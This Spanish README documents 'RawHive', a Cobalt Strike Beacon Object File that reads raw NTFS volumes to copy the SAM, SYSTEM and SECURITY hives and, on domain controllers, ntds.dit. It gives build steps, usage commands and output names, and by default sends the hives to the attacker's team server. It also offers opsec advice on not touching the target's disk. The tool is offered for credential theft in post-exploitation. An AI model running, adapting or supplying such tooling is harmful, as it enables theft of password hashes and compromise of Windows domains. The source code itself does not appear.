
Cobalt Strike BOF que extrae archivos de registro de Windows seleccionados directamente desde un volumen NTFS sin formato mediante el análisis de metadatos NTFS y la lectura de datos de archivo directamente desde el disco.
RawHive es un BOF de Cobalt Strike para extraer hives del registro de Windows seleccionados directamente desde un volumen NTFS en bruto. Omite las API de archivos normales, recorre los metadatos de NTFS para encontrar los registros de archivo objetivo y lee los bytes directamente del disco.
Objetivos:
C:\Windows\System32\config\SAMC:\Windows\System32\config\SYSTEMC:\Windows\System32\config\SECURITYC:\Windows\NTDS\ntds.dit (solo controladores de dominio)Cualquier letra de unidad NTFS local funciona; la predeterminada es C:.
\\.\C:) y lee el sector de arranque para localizar $MFT.Windows, System32, config y los archivos objetivo, con un escaneo acotado del MFT como respaldo.x86_64-w64-mingw32-gcc y make para compilar.make
Compila dist/rawhive.x64.o. rawhive.cna carga el objeto desde dist/, así que recompila después de modificar rawhive.c.
El modo descarga es el predeterminado: los hives se leen directamente del volumen en bruto y se envían al team server mediante la API BeaconDownload. Nada toca el disco del objetivo.
rawhive # download C: hives to team server
rawhive D # download D: hives to team server
El modo escritura en disco guarda archivos .tmp en un directorio del objetivo. Ten en cuenta que esto toca el disco y puede no ser opsec safe; prefiere el modo descarga a menos que necesites específicamente que los archivos queden localmente.
rawhive C:\Windows\Temp # write C: hives to disk
rawhive C:\Windows\Temp D # write D: hives to C:\Windows\Temp
El volumen se puede escribir como C, c o C:. El directorio de salida debe existir previamente.
Los archivos se nombran <host>_<timestamp>_<hive>.tmp:
<host>_<timestamp>_sam.tmp
<host>_<timestamp>_system.tmp
<host>_<timestamp>_security.tmp
<host>_<timestamp>_ntds.tmp # DCs only
En modo descarga aparecen en la bandeja de descargas de Cobalt Strike; en modo escritura en disco llegan al directorio de salida especificado.
